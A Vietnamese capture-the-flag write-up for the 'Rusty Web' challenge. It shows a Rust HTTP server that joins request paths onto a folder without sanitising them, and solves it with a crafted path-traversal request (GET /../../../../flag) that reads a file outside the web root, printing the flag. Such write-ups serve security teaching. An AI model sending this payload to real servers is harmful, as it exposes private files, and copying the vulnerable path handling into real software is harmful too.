Description

RecruitCTF - Rusty Web

Approach

Dockerfile:

FROM rust:1.76
 
WORKDIR /usr/src/rusty_web
COPY . .
 
RUN mv flag /
 
RUN cargo build --release
 
EXPOSE 8000
 
RUN chmod +x entrypoint.sh
ENTRYPOINT ["./entrypoint.sh"]

Có thể thấy, file flag nằm ở thư mục /.

Docker compose file:

version: '3.8'
 
services:
  app:
    build: .
    ports:
      - "8000:8000"
    restart: unless-stopped

Chạy container, trang web có dạng như sau:

Mã nguồn của file src/main.rs:

use std::io::{BufRead, Write};
fn main() {
    let listener = std::net::TcpListener::bind("0.0.0.0:8000").unwrap();
    for mut stream in listener.incoming().flatten() {
        let mut rdr = std::io::BufReader::new(&mut stream);
        let mut l = String::new();
        rdr.read_line(&mut l).unwrap();
        match l.trim().split(' ').collect::<Vec<_>>().as_slice() {
            ["GET", resource, "HTTP/1.1"] => {
                loop {
                    let mut l = String::new();
                    rdr.read_line(&mut l).unwrap();
                    if l.trim().is_empty() {
                        break;
                    }
                }
                let mut p = std::path::PathBuf::new();
                p.push("public");
                p.push(resource.trim_start_matches('/'));
                if resource.ends_with('/') {
                    p.push("index.html")
                }
                stream.write_all(b"HTTP/1.1 200 OK\r\n\r\n").unwrap();
                stream
                    .write_all(
                        &std::fs::read(if p.exists() {
                            p
                        } else {
                            std::path::PathBuf::from("public/error/index.html")
                        })
                        .unwrap(),
                    )
                    .unwrap();
            }
            _ => (),
        }
    }
}

Phân tích mã nguồn:

Vòng lặp for mut stream in listener.incoming().flatten() dùng để xử lý các request.

Dòng ["GET", resource, "HTTP/1.1"] cho biết server sẽ xử lý các GET request với version là HTTP/1.1.

Biến resource được dùng để build path như sau:

let mut p = std::path::PathBuf::new();
p.push("public");
p.push(resource.trim_start_matches('/'));
if resource.ends_with('/') {
	p.push("index.html")
}

Có thể thấy, path của file có dạng "public" + resouce. Nếu path có / ở đầu thì sẽ bỏ và nếu path có / ở cuối thì sẽ thêm vào index.html.

Biến p sau đó được kiểm tra xem có tồn tại hay không. Nếu có thì trả về cho client, nếu không thì trả về file public/error/index.html:

stream
	.write_all(
		&std::fs::read(if p.exists() {
			p
		} else {
			std::path::PathBuf::from("public/error/index.html")
		})
		.unwrap(),
	)
	.unwrap();

Đường dẫn của flag từ thư mục public sẽ là:

../../../../flag

Lý do là vì working directory là /usr/src/rusty_web (có trong Dockerfile).

Capture request đến endpoint / bằng BurpSuite:

GET / HTTP/1.1
Host: blackpinker.rocks:30354
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

Thay path thành đường dẫn trên:

GET /../../../../flag HTTP/1.1
Host: blackpinker.rocks:30354
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

Note

Nhập ../../../../flag vào URL của trình duyệt thì nó sẽ tự động bỏ chuỗi ../ nên không dùng trình duyệt.

Response trả về:

HTTP/1.1 200 OK
 
BPCTF{0ld3st_tr1ck_1n_th3_b00k_e601b39002bb}

Flag

Success

BPCTF{0ld3st_tr1ck_1n_th3_b00k_e601b39002bb}